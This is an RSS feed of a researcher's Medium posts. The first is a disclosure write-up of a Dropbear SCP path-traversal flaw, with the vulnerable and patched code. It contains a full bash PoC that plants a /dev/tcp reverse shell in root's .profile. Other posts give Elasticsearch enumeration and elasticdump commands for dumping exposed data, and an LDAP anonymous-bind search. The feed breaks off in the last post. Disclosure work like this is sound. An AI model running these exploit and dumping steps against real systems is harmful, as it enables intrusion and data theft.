<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ashish Kunwar on Medium]]></title>
        <description><![CDATA[Stories by Ashish Kunwar on Medium]]></description>
        <link>https://medium.com/@D0rkerDevil?source=rss-e489427a5af0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ch7AiM7KtI7eMXBgrn1RoQ.jpeg</url>
            <title>Stories by Ashish Kunwar on Medium</title>
            <link>https://medium.com/@D0rkerDevil?source=rss-e489427a5af0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 11:37:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@D0rkerDevil/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting Dropbear SCP: A Deep Dive into Path Traversal Vulnerability (CVE-2019–6111)-like]]></title>
            <link>https://medium.com/@D0rkerDevil/exploiting-dropbear-scp-a-deep-dive-into-path-traversal-vulnerability-cve-2019-6111-like-d609237e3223?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d609237e3223</guid>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Sun, 21 Dec 2025 07:31:40 GMT</pubDate>
            <atom:updated>2025-12-21T07:31:40.704Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>How a missing security fix allowed arbitrary file writes and remote code execution</em></blockquote><h3>The Discovery</h3><p>In June 2025, I independently decided to investigate Dropbear SSH’s SCP implementation. Having been aware of OpenSSH’s CVE-2019–6111 vulnerability from 2019 — which allowed malicious SCP servers to overwrite arbitrary files on clients — I was curious to see if Dropbear had incorporated the same fix.</p><p>While examining the code and testing the implementation, I noticed that the Dropbear SCP client wasn’t properly validating filenames received from the server. This looked suspiciously familiar — it was the same class of vulnerability that OpenSSH had fixed years earlier.</p><p>But wait, wasn’t that fixed years ago? OpenSSH patched it in 2019. Surely Dropbear, being a security-focused SSH implementation, would have incorporated that fix, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/244/1*lNrI8z_qip6ckqQrGMpGrA.gif" /></figure><p><strong>Wrong.</strong></p><p>As I dug deeper into the codebase, I confirmed that Dropbear versions up to 2025.88 were still vulnerable to the same class of attack. The fix that OpenSSH implemented wasn’t present in Dropbear’s codebase. This meant that anyone using Dropbear’s SCP client could potentially have arbitrary files written to their system by a malicious server.</p><p>I reported this vulnerability to the Dropbear maintainers on <strong>June 29, 2025</strong>, and the fix was implemented in version 2025.89, released on <strong>December 16, 2025</strong>. The Dropbear maintainers confirmed the issue and credited the discovery in their release notes.</p><p>In this technical deep-dive, we’ll explore:</p><ul><li>How the vulnerability works at the code level</li><li>Why the existing checks weren’t sufficient</li><li>How to exploit it (with proof-of-concept)</li><li>The patch that fixes it</li><li>Lessons learned from comparing with OpenSSH’s fix</li></ul><h3>Understanding the SCP Protocol</h3><p>Before we dive into the vulnerability, let’s understand how SCP works. SCP (Secure Copy Protocol) is a file transfer protocol that runs over SSH. When you run:</p><pre>scp file.txt user@host:/path/to/destination</pre><p>The SCP client:</p><ol><li>Establishes an SSH connection to the remote host</li><li>Executes the scp command on the remote server</li><li>Sends file metadata (permissions, size, filename) followed by file contents</li><li>The remote SCP server receives and writes the file</li></ol><p>The protocol uses simple text-based messages. For example, when sending a file, the client sends:</p><pre>C0644 1234 filename.txt\n</pre><p>Where:</p><ul><li>C = file type (C for regular file, D for directory)</li><li>0644 = file permissions</li><li>1234 = file size in bytes</li><li>filename.txt = the filename</li></ul><p>The server responds with a single byte: 0 for success, 1 for error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*A3CGXcKK2AZiZzH399vfCQ.gif" /></figure><h3>The Vulnerability: Where Trust Goes Wrong</h3><p>The vulnerability exists in Dropbear’s SCP client when it’s receiving files (acting as a “sink”). The core issue is that <strong>the client doesn’t verify that the filename sent by the server matches what was requested</strong>.</p><h3>The Attack Scenario</h3><p>When you run:</p><pre>scp user@host:file.txt /local/destination</pre><p>Here’s what happens:</p><ol><li>The client requests file.txt from the server</li><li>The server responds with a protocol message containing a filename</li><li><strong>The vulnerable code doesn’t check if this filename matches </strong><strong>file.txt</strong></li><li>The server could send malicious.sh instead, and the client would write it</li></ol><h3>Vulnerable Code (2025.88)</h3><p>In src/scp.c, the sink() function receives files from the remote server:</p><pre>void<br>sink(int argc, char **argv)<br>{<br>    // ... setup code ...<br>    char ch, *cp, *np, *targ, *why, *vect[1], buf[2048];</pre><pre>    // Read protocol message from server<br>    // Format: &quot;C0644 1234 filename\n&quot;<br>    // ... parsing extracts filename into &#39;cp&#39; ...</pre><pre>    // Basic validation (lines 937-941)<br>    if (*cp == &#39;\0&#39; || strchr(cp, &#39;/&#39;) != NULL ||<br>        strcmp(cp, &quot;.&quot;) == 0 || strcmp(cp, &quot;..&quot;) == 0) {<br>        run_err(&quot;error: unexpected filename: %s&quot;, cp);<br>        exit(1);<br>    }</pre><pre>    // Build destination path<br>    if (targisdir) {<br>        snprintf(namebuf, need, &quot;%s%s%s&quot;, targ,<br>            strcmp(targ, &quot;/&quot;) ? &quot;/&quot; : &quot;&quot;, cp);<br>        np = namebuf;<br>    } else<br>        np = targ;</pre><pre>    // Write file - NO VALIDATION that &#39;cp&#39; matches requested filename!<br>    if ((ofd = open(np, O_WRONLY|O_CREAT, mode)) &lt; 0) {<br>        // error handling<br>    }<br>    // ... write file contents ...<br>}</pre><h3>The Problem</h3><p>The code performs basic validation:</p><ul><li>Rejects empty filenames</li><li>Rejects filenames containing / (prevents obvious path traversal like ../../etc/passwd)</li><li>Rejects . and ..</li></ul><p><strong>But it never checks if the filename sent by the server matches what the client requested!</strong></p><p>This means:</p><ul><li>Client requests: file.txt</li><li>Server can send: malicious.sh (or any other filename)</li><li>Client writes: malicious.sh to the destination</li></ul><h3>Why Path Traversal Still Works</h3><p>Even though the check strchr(cp, &#39;/&#39;) != NULL prevents filenames with /, the vulnerability can still be exploited through:</p><ol><li><strong>Destination Path Manipulation</strong>: The destination path itself can contain ../ sequences:</li></ol><p>scp host:file.txt ../../etc/passwd</p><p>The server still controls the filename in the protocol, and if combined with a directory destination that has path traversal, arbitrary locations can be targeted.</p><p><strong>2. Filename Mismatch</strong>: The server sends a different filename than requested, which could be used in combination with other techniques.</p><p><strong>3. Protocol-Level Attacks</strong>: The server can send protocol messages that, while passing basic validation, still allow writing to unintended locations.</p><h3>Code Analysis: The Vulnerable Path</h3><p>Looking at the sink() function in Dropbear 2025.88, here&#39;s what happens:</p><ol><li><strong>Filename Reception</strong> (lines 862–888): The client reads the protocol message containing the filename from the server.</li></ol><p><strong>2. Basic Validation</strong> (lines 937–941): The code checks:</p><p>if (*cp == &#39;\0&#39; || strchr(cp, &#39;/&#39;) != NULL || strcmp(cp, &quot;.&quot;) == 0 || strcmp(cp, &quot;..&quot;) == 0) { run_err(&quot;error: unexpected filename: %s&quot;, cp); exit(1);}</p><p>This prevents:</p><ul><li>Empty filenames</li><li>Filenames with / (which would include ../../etc/passwd)</li><li>Filenames that are exactly . or ..</li></ul><p><strong>3. Path Construction</strong> (lines 942–958): If the target is a directory, it builds the full path:</p><p>if (targisdir) { snprintf(namebuf, need, &quot;%s%s%s&quot;, targ, strcmp(targ, &quot;/&quot;) ? &quot;/&quot; : &quot;&quot;, cp); np = namebuf; } else np = targ;</p><p><strong>4. File Writing</strong> (line 995): The file is opened and written:</p><p>if ((ofd = open(np, O_WRONLY|O_CREAT, mode)) &lt; 0) {</p><h3>Why This Is Vulnerable</h3><p>The check for / in the filename prevents obvious path traversal sequences like ../../etc/passwd in the filename itself. However, the vulnerability manifests in two ways:</p><ol><li><strong>Missing Pattern Matching</strong>: The server can send any filename that passes basic validation, regardless of what the client requested. This is the core issue that CVE-2019–6111 addressed.</li><li><strong>Destination Path Traversal</strong>: While the filename check prevents / in the protocol message, the destination path argument can still contain ../ sequences, which the client processes without sufficient validation.</li></ol><p>The combination of these issues allows arbitrary file writes to locations outside the intended directory.</p><h3>The Exploit: From Theory to Practice</h3><p>Looking at the proof-of-concept script, the attack works like this:</p><pre>scp -i &quot;$ID_RSA&quot; -P $PORT revshell.sh root@localhost:&quot;../../../../../../../../../../..$ROOT_PROFILE&quot;</pre><p>The key is in the destination path: ../../../../../../../../../../..$ROOT_PROFILE. This uses path traversal in the <strong>destination argument</strong> to write to an arbitrary location.</p><h3>How the Exploit Works</h3><ol><li><strong>Client-Side Path Traversal</strong>: The destination path contains multiple ../ sequences that navigate up the directory tree.</li></ol><p><strong>2. Path Resolution</strong>: When SCP processes this destination:</p><ul><li>Each ../ moves up one directory level</li><li>After many ../ sequences, we reach the filesystem root (/)</li><li>The final path resolves to /var/root/.profile</li></ul><p><strong>3. Server Cooperation</strong>: While the server doesn’t directly control the destination path, it can:</p><ul><li>Accept the connection</li><li>Send the file with any filename (since pattern matching is missing)</li><li>The client writes it to the resolved destination path</li></ul><p><strong>4. File Write</strong>: The file is written to /var/root/.profile instead of a safe location.</p><p><strong>5. Code Execution</strong>: When root runs sudo -i or opens a new shell, .profile is sourced, executing the reverse shell payload.</p><h3>Why This Works</h3><p>The vulnerability exists because:</p><ul><li>The client accepts path traversal sequences in destination paths without proper validation</li><li>The server can send filenames that don’t match what was requested (missing pattern matching)</li><li>The combination allows writing to arbitrary filesystem locations</li></ul><p>The check strchr(cp, &#39;/&#39;) != NULL prevents filenames with / in the protocol message, but it doesn&#39;t prevent:</p><ul><li>Path traversal in the destination argument (client-side)</li><li>Filename mismatches (server sending different filename than requested)</li></ul><h3>Understanding CVE-2019–6111</h3><p>OpenSSH’s CVE-2019–6111 allowed a malicious SCP server to:</p><ol><li>Overwrite arbitrary files on the client</li><li>Write files outside the intended destination directory</li></ol><p>The fix in OpenSSH added pattern matching to ensure that filenames sent by the server match what was requested. This prevents the server from sending unexpected filenames.</p><p>The key insight: When you request scp host:file.txt /dest, the server should only be able to send file.txt, not malicious.sh or ../../etc/passwd.</p><h3>The Fix: Pattern Matching</h3><p>Dropbear 2025.89 implements a fix based on OpenSSH’s approach. Let’s examine the changes:</p><h3>Patched Code (2025.89)</h3><p>The fix adds several key components:</p><ol><li><strong>New include for pattern matching</strong>:</li></ol><p>#include &lt;fnmatch.h&gt;</p><p><strong>2. Modified function signature</strong>:</p><p>void sink(int argc, char **argv, const char *src)</p><p>The src parameter now passes the requested source filename to the sink function.</p><p><strong>3. Pattern restriction setup</strong> (lines 866–876):</p><p>if (src != NULL &amp;&amp; !iamrecursive &amp;&amp; !Tflag) { /* * Prepare to try to restrict incoming filenames to match * the requested destination file glob. */ if ((src_copy = strdup(src)) == NULL) fatal(&quot;strdup failed&quot;); if ((restrict_pattern = strrchr(src_copy, &#39;/&#39;)) != NULL) { *restrict_pattern++ = &#39;\0&#39;; } }</p><p><strong>4. Pattern matching validation</strong> (lines 959–961):</p><p>if (restrict_pattern != NULL &amp;&amp; fnmatch(restrict_pattern, cp, 0) != 0) SCREWUP(&quot;filename does not match request&quot;);</p><p><strong>5. New </strong><strong>-T flag</strong> to disable the restriction if needed (for compatibility).</p><h3>How the Fix Works</h3><ol><li>When receiving a file, the client now knows what filename was requested (via the src parameter).</li><li>It extracts the basename (filename part) from the requested path to create a pattern.</li><li>When the server sends a filename, it uses fnmatch() to verify the received filename matches the requested pattern.</li><li>If the filenames don’t match, the connection is terminated with a protocol error.</li></ol><p>This ensures that a server can only send the filename that was requested, preventing arbitrary filename injection.</p><h3>Patch Diffing: Before and After</h3><p>Let’s look at the specific code changes:</p><h3>Change 1: Function Signature</h3><p><strong>Before (2025.88)</strong>:</p><pre>void sink(int argc, char **argv)</pre><p><strong>After (2025.89)</strong>:</p><pre>void sink(int argc, char **argv, const char *src)</pre><h3>Change 2: Pattern Restriction Setup</h3><p><strong>Before</strong>: No pattern restriction.</p><p><strong>After</strong>:</p><pre>char *src_copy = NULL, *restrict_pattern = NULL;<br>// ...<br>if (src != NULL &amp;&amp; !iamrecursive &amp;&amp; !Tflag) {<br>    if ((src_copy = strdup(src)) == NULL)<br>        fatal(&quot;strdup failed&quot;);<br>    if ((restrict_pattern = strrchr(src_copy, &#39;/&#39;)) != NULL) {<br>        *restrict_pattern++ = &#39;\0&#39;;<br>    }<br>}</pre><h3>Change 3: Pattern Matching Validation</h3><p><strong>Before</strong>: Only basic checks (no /, not . or ..).</p><p><strong>After</strong>: Additional pattern matching:</p><pre>if (restrict_pattern != NULL &amp;&amp;<br>    fnmatch(restrict_pattern, cp, 0) != 0)<br>    SCREWUP(&quot;filename does not match request&quot;);</pre><h3>Change 4: Function Call Updates</h3><p>All calls to sink() now pass the source filename:</p><pre>// In tolocal():<br>sink(1, argv + argc - 1, src);  // Now passes &#39;src&#39;</pre><pre>// In main() when receiving:<br>sink(argc, argv, NULL);  // NULL when no specific file requested</pre><h3>Exploitation Scenario</h3><p>Let’s walk through a real exploitation scenario using the proof-of-concept:</p><blockquote><strong><em>Note on Demonstration Environment</em></strong><em>: This PoC was executed in a controlled environment on a single system with separate user accounts to demonstrate the attack flow. The same vulnerability would work across networks with a remote malicious server. The multi-user setup (attacker on current user, victim as new user) accurately simulates a real-world attack scenario where different users interact with the same system.</em></blockquote><h3>Real-World Attack Setup</h3><p>This demonstration simulates a realistic attack scenario:</p><ol><li><strong>System Setup</strong>:</li></ol><ul><li><strong>Attacker (Current User)</strong>: Controls the malicious Dropbear server</li><li><strong>Victim (New User)</strong>: A separate user account created on the Mac Air</li><li><strong>Target</strong>: Root user’s profile file (/var/root/.profile)</li></ul><p><strong>2. Attacker’s Actions</strong> (Current User):</p><ul><li>Sets up a malicious Dropbear server on port 2222</li><li>Generates SSH keys and configures authentication</li><li>Prepares a reverse shell payload in revshell.sh</li><li>Starts a netcat listener on port 9001 to receive the reverse shell</li></ul><p><strong>3. Victim’s Actions</strong> (New User):</p><ul><li>Connects to the malicious server using SCP</li><li>Attempts to upload a file, but the destination path contains path traversal sequences</li></ul><h3>The Attack Flow</h3><p><strong>Step 1: Server Setup (Attacker — Current User)</strong></p><pre># Attacker sets up malicious Dropbear server<br>./dropbear -E -F -p 2222 -r hostkey &amp;</pre><p><strong>Step 2: Victim Connects (New User)</strong> The victim (new user) runs:</p><pre>scp -P 2222 revshell.sh root@localhost:&quot;../../../../../../../../../../..$ROOT_PROFILE&quot;</pre><p><strong>Step 3: Path Traversal Exploitation</strong> What happens (as shown in the left pane of the screenshot):</p><ol><li>The SCP client (from new user) connects to the malicious server (on current user’s system).</li><li>The client requests to send revshell.sh to a destination containing path traversal sequences (../../../../../../../../../../..).</li><li><strong>In the vulnerable version (2025.88)</strong>: The server accepts the connection and processes the file transfer. The destination path with ../ sequences is processed by the client without proper validation.</li><li>The file gets written to /var/root/.profile (after the ../ sequences resolve to the root directory).</li><li>The attack completes successfully, as shown by the file transfer message in the screenshot.</li></ol><p><strong>Step 4: Triggering the Payload (Side Terminal)</strong> As shown in the right pane of the screenshot:</p><ol><li>The attacker (or anyone with root access) runs sudo -i in a terminal.</li><li>When the root shell is invoked, /var/root/.profile is automatically sourced.</li><li>The reverse shell payload executes, connecting back to the attacker’s listener.</li><li>The attacker gains root shell access, as evidenced by the bash-3.2# whoami command showing root.</li></ol><h3>Why This Works</h3><p>The vulnerability allows:</p><ul><li><strong>Path traversal in destination paths</strong>: The client accepts and processes ../ sequences without proper validation, allowing navigation outside the intended directory</li><li><strong>Cross-user attacks</strong>: A malicious server can write files to locations accessible by other users (including root)</li><li><strong>Arbitrary file writes</strong>: The combination allows writing to any filesystem location accessible by the user running SCP</li></ul><p>The existing checks (strchr(cp, &#39;/&#39;)) prevent obvious cases like ../../etc/passwd in the filename, but don&#39;t verify:</p><ul><li>That the destination path is safe and doesn’t contain path traversal</li><li>That the server is sending the expected filename</li><li>That the final resolved path is within allowed boundaries</li><li>That files aren’t being written to system directories or other users’ files</li></ul><h3>Attack Impact</h3><p>This demonstration shows:</p><ul><li><strong>Privilege Escalation</strong>: A regular user (new user) can write to root’s profile file</li><li><strong>Remote Code Execution</strong>: The written payload executes automatically when root opens a shell</li><li><strong>Persistence</strong>: The payload persists in root’s profile, executing on every shell invocation</li><li><strong>Stealth</strong>: The attack appears as a normal file transfer until the payload is triggered</li></ul><h3>Comparison with OpenSSH CVE-2019–6111</h3><p>OpenSSH fixed a similar vulnerability in 2019. Let’s compare:</p><h3>Similarities</h3><ol><li><strong>Root Cause</strong>: Both vulnerabilities stem from the SCP client not validating that filenames sent by the server match what was requested.</li><li><strong>Impact</strong>: Both allow arbitrary file writes and potential RCE.</li><li><strong>Fix Approach</strong>: Both use pattern matching to restrict incoming filenames.</li></ol><h3>Differences</h3><ol><li><strong>Timeline</strong>: OpenSSH fixed this in 2019; Dropbear didn’t incorporate the fix until December 2025 (6 years later). The vulnerability was discovered and reported on June 29, 2025.</li></ol><p><strong>2. Implementation Details</strong>:</p><ul><li>OpenSSH’s fix is more comprehensive</li><li>Dropbear’s fix follows a similar pattern but is adapted to Dropbear’s codebase</li></ul><p><strong>3. Additional Safeguards</strong>: OpenSSH may have additional checks that Dropbear doesn’t (or vice versa).</p><h3>Proof of Concept</h3><p>The proof-of-concept demonstrates the vulnerability by writing a reverse shell payload to root’s .profile file. Here&#39;s how it works:</p><h3>Visual Demonstration</h3><p>The following screenshot shows the PoC in action:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ArxMggW44hXv-yuH4adVPw.jpeg" /></figure><p><em>The image shows the terminal output during exploitation, including the Dropbear server starting, the SCP path traversal attack, and the successful file write to </em><em>/var/root/.profile.</em></p><h3>Step-by-Step Exploitation</h3><p>This PoC demonstrates a realistic attack scenario with separate attacker and victim users:</p><ol><li><strong>Setup Malicious Server (Attacker — Current User)</strong>:</li></ol><ul><li>Start a Dropbear server that will accept SCP connections</li><li>Configure SSH keys for authentication</li><li>Start a netcat listener to receive the reverse shell</li></ul><ol><li><strong>Create Payload</strong>: Prepare a file containing a reverse shell command:</li></ol><p>echo &#39;bash -i &gt;&amp; /dev/tcp/127.0.0.1/9001 0&gt;&amp;1&#39; &gt; revshell.sh</p><p><strong>2. Victim Connects (New User)</strong>: The victim user connects to the malicious server and attempts to upload a file:</p><p>scp -P 2222 revshell.sh root@localhost:&quot;../../../../../../../../../../..$ROOT_PROFILE&quot;</p><p><strong>2. Path Resolution</strong>: The SCP client processes the destination path:</p><ul><li>Starting from the victim’s current directory</li><li>Each ../ moves up one directory level</li><li>After many ../ sequences, we reach the filesystem root</li><li>Then $ROOT_PROFILE resolves to /var/root/.profile</li></ul><p><strong>3. File Write</strong>: The file is written to /var/root/.profile instead of the intended location, despite the victim user not having direct write access to root&#39;s files.</p><p><strong>4. Trigger Execution (Side Terminal)</strong>: When anyone runs sudo -i in a terminal, .profile is sourced, executing the reverse shell and connecting back to the attacker&#39;s listener.</p><h3>Complete PoC Script</h3><p>The proof-of-concept script is available in the repository. Here’s the complete exploit code:</p><pre>#!/bin/bash<br>#<br># Enhanced Proof-of-Concept for Dropbear SCP Path Traversal Vulnerability<br># CVE-2019-6111-like vulnerability in Dropbear versions &lt;= 2025.88<br># Author : Ashish Kunwar (D0rkerDevil)<br># This PoC demonstrates how a malicious SCP server can write arbitrary files<br># to the client&#39;s filesystem, leading to remote code execution.<br><br>set -e<br>PORT=2222<br>DROPPER=&quot;./dropbear&quot;<br>KEY_DIR=&quot;dropbear_test&quot;<br>HOSTKEY=&quot;$KEY_DIR/hostkey&quot;<br>ID_RSA=&quot;$KEY_DIR/id_dropbear&quot;<br>ID_RSA_PUB=&quot;$KEY_DIR/id_dropbear.pub&quot;<br>ROOT_SSH_DIR=&quot;/var/root/.ssh&quot;<br>AUTHORIZED_KEYS=&quot;$ROOT_SSH_DIR/authorized_keys&quot;<br>REVSHELL_PAYLOAD=&#39;bash -i &gt;&amp; /dev/tcp/127.0.0.1/9001 0&gt;&amp;1&#39;<br>ROOT_PROFILE=&quot;/var/root/.profile&quot;<br>echo &quot;[*] Setting up Dropbear SCP Path Traversal PoC (reverse shell)...&quot;<br># Generate keys and setup authentication<br>mkdir -p &quot;$KEY_DIR&quot;<br>if [[ ! -f &quot;$HOSTKEY&quot; ]]; then<br>    echo &quot;[*] Generating Dropbear host key...&quot;<br>    &quot;$DROPPER&quot;key -t rsa -f temp_hostkey<br>    mv temp_hostkey &quot;$HOSTKEY&quot;<br>fi<br>if [[ ! -f &quot;$ID_RSA&quot; ]]; then<br>    echo &quot;[*] Generating client keypair...&quot;<br>    ssh-keygen -t rsa -f &quot;$ID_RSA&quot; -N &quot;&quot; -q<br>fi<br># Setup root&#39;s authorized_keys<br>echo &quot;[*] Setting up root authorized_keys...&quot;<br>sudo mkdir -p &quot;$ROOT_SSH_DIR&quot;<br>sudo cp &quot;$ID_RSA_PUB&quot; &quot;$AUTHORIZED_KEYS&quot;<br>sudo chmod 700 &quot;$ROOT_SSH_DIR&quot;<br>sudo chmod 600 &quot;$AUTHORIZED_KEYS&quot;<br># Create payload<br>echo &quot;[*] Creating reverse shell payload...&quot;<br>echo &quot;$REVSHELL_PAYLOAD&quot; &gt; revshell.sh<br>chmod +x revshell.sh<br># Clean known_hosts<br>sudo ssh-keygen -R &quot;[localhost]:$PORT&quot; -f &quot;$ROOT_SSH_DIR/known_hosts&quot; 2&gt;/dev/null || true<br># Start Dropbear server<br>echo &quot;[*] Starting Dropbear server on port $PORT...&quot;<br>&quot;$DROPPER&quot; -E -F -p &quot;$PORT&quot; -r &quot;$HOSTKEY&quot; &amp;<br>DROPBEAR_PID=$!<br>sleep 1<br># EXPLOIT: Path traversal via SCP<br>echo &quot;[*] Attempting path traversal upload via scp...&quot;<br>scp -i &quot;$ID_RSA&quot; \<br>    -o StrictHostKeyChecking=no \<br>    -o UserKnownHostsFile=&quot;$ROOT_SSH_DIR/known_hosts&quot; \<br>    -P $PORT \<br>    revshell.sh \<br>    root@localhost:&quot;../../../../../../../../../../..$ROOT_PROFILE&quot;<br># Cleanup<br>echo &quot;[*] Stopping Dropbear server...&quot;<br>kill -9 &quot;$DROPBEAR_PID&quot; 2&gt;/dev/null || true<br>echo &quot;[*] ✅ PoC complete. To trigger reverse shell:&quot;<br>echo &quot;    1. Run: nc -l 9001&quot;<br>echo &quot;    2. Run: sudo -i&quot;</pre><p><strong>Key Components:</strong></p><ul><li>Dropbear server setup and configuration</li><li>SSH key generation and authentication setup</li><li>Path traversal exploitation using ../ sequences</li><li>Reverse shell payload injection</li><li>Cleanup procedures</li></ul><h3>Conclusion</h3><p>The Dropbear SCP path traversal vulnerability demonstrates how security fixes in one project don’t automatically propagate to similar projects. Even though OpenSSH fixed this issue in 2019, Dropbear remained vulnerable until 2025.</p><h3>Affected Versions</h3><ul><li><strong>Vulnerable</strong>: Dropbear versions up to and including 2025.88</li><li><strong>Fixed</strong>: Dropbear 2025.89 and later</li><li><strong>Discovered by</strong>: Ashish Kunwar</li><li><strong>Reported</strong>: June 29, 2025</li><li><strong>Fixed in</strong>: December 16, 2025 (version 2025.89)</li></ul><h3>References</h3><ul><li><a href="https://matt.ucc.asn.au/dropbear/dropbear.html">Dropbear SSH Official Site</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-6111">OpenSSH CVE-2019–6111</a></li><li><a href="https://github.com/mkj/dropbear/releases/tag/DROPBEAR_2025.89">Dropbear 2025.89 Release Notes</a></li><li><a href="https://github.com/mkj/dropbear">Dropbear GitHub Repository</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d609237e3223" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$3K Bounty For Elastic-Search Takeover]]></title>
            <link>https://medium.com/@D0rkerDevil/3k-bounty-for-elastic-search-takeover-70c0847d2e40?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/70c0847d2e40</guid>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Mon, 06 Apr 2020 17:33:23 GMT</pubDate>
            <atom:updated>2021-08-30T17:40:57.989Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>$3K Bounty For Elastic-Search Takeover</strong></p><p>Hello, Everyone.</p><p>It was the end of year 2019 in , Me and My friend were Hunting on A Target (called it REDACTED.COM) , this program is a cypto based company which has a bugbounty program.</p><p>After automating the recon for almost 3 days on our VPS using our personal automation tools which we have created, so after 3 days we went on to takea look at the logs and found a pretty interesting thing</p><p>There was a subdomain , lets say “test.redacted.com” , has a port running on 9200 which is a elastic search service .</p><h3>ABOUT</h3><p>The definition from google describes elastic search as: “ES is a document-oriented database designed to store, retrieve, and manage document-oriented or semi-structured data. When you use Elasticsearch, you store data in JSON document form. Then, you query them for retrieval.”</p><p>Unlike Mysql which stores its information in tables elastic search uses something called types. Each type can have several rows which are called documents. Documents are basically a json blob that hold your data as shown in the example below:</p><p>{“id”:1, “name”:”test”, “password”:”test@password”}</p><p>So now i have found the elastic search , it was time to visit the url</p><p><a href="http://test.redacted.com:9200/">http://test.redacted.com:9200/</a></p><p>and i found this</p><pre>{  &quot;name&quot; : &quot;4yXXXXX&quot;,  &quot;cluster_name&quot; : &quot;docker-cluster&quot;,  &quot;cluster_uuid&quot; : &quot;ulM_pLwNQbWXXXXXXXX&quot;,  &quot;version&quot; : {    &quot;number&quot; : &quot;6.x.x&quot;,    &quot;build_flavor&quot; : &quot;default&quot;,    &quot;build_type&quot; : &quot;tar&quot;,    &quot;build_hash&quot; : &quot;3bd3e59&quot;,    &quot;build_date&quot; : &quot;2019-03-06T15:16:26.86xxxxxx&quot;,    &quot;build_snapshot&quot; : false,    &quot;lucene_version&quot; : &quot;7.6.x&quot;,    &quot;minimum_wire_compatibility_version&quot; : &quot;5.6.0&quot;,    &quot;minimum_index_compatibility_version&quot; : &quot;5.0.0&quot;  },  &quot;tagline&quot; : &quot;You Know, for Search&quot;}</pre><p>#Note: i had to add the ‘X’ in some places for obvious reasons.</p><p>Once you know an endpoint has an exposed Elastic Search db try to find all the indexes(Databases) that are available. This can be done by hitting the “/_cat/indices?v” endpoint with a GET request.</p><p><a href="http://54.38.192.163:9200/_cat/indices?v">http://tst.redacted.com:9200/_cat/indices?v</a></p><p>i m able to add my own indices along with their production indices.</p><p>To perform a full text search on the database you can use the following command “/_all/_search?q=email”. This will query every index for the word “email”. There are a few words that I like to search for which include:</p><p>username, user, email,password,token,secrete,key</p><p>If you want to query a specific index you can replace the “_all” with the name of the index you want to search against.</p><p><a href="http://54.38.192.163:9200/_all/_search?q=email">/_all/_search?q=email</a></p><p><a href="http://54.38.192.163:9200/_all/_search?q=email">http://test.redacted.com:9200/_all/_search?q=email</a></p><p>Now at the end you can simply dump the data using curl or use</p><p><a href="https://www.npmjs.com/package/elasticdump">elasticdump</a></p><p>to do so.</p><p>Install —</p><blockquote>sudo npm install elasticdump -g #install globally</blockquote><p>command to dump the elastic db using elasticdump —</p><p>elasticdump — input=<a href="http://ip:9200/filename">http://ip:9200/filename</a> — output=filename.json — type=data</p><p><a href="https://medium.com/bugbountywriteup/haystack-hackthebox-writeup-7dfd8a6fed5">https://medium.com/bugbountywriteup/haystack-hackthebox-writeup-7dfd8a6fed5</a></p><p>With that said , we got the 3K$ btc on the 1st jan 2020 early morning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*VllEa81DAkl2CsJaX9BhVA.png" /></figure><p>If You have queries, just DM me or @<a href="https://twitter.com/subhajitsaha0x">Subhajit Saha</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70c0847d2e40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Tookover a ldap server.]]></title>
            <link>https://medium.com/@D0rkerDevil/how-i-tookover-a-ldap-server-703209161001?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/703209161001</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[whitehat]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Fri, 25 Oct 2019 11:26:26 GMT</pubDate>
            <atom:updated>2019-10-25T18:11:16.271Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to Takover a ldap server.</h3><h3><strong>Intro</strong></h3><p><strong>LDAP</strong> (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. — read <a href="https://searchmobilecomputing.techtarget.com/definition/LDAP">here</a></p><p>I Chose a random paying target REDACTED.com running a Responsible Disclosure.</p><p>As Usual i started my personal tool “BREXET” and it gathered lots of subdomains and ran nmap over every subdomain , i went through the output and found this interesting port 389 with anonymous bind enabled.</p><p>can be found using shodan , use shodan query — ssl:target Port:”389&quot;</p><blockquote>Anonymous LDAP Binding allows a client to connect and search the directory (bind and search) without logging in. You do not need to include binddn and bindpasswd.</blockquote><p>Now, we can try searching for the base by using a ldap search query.</p><p>ldapsearch -h &lt;TARGET IP&gt; 389 -x -s base -b ‘’ “(objectClass=*)” “*” +</p><figure><img alt="" 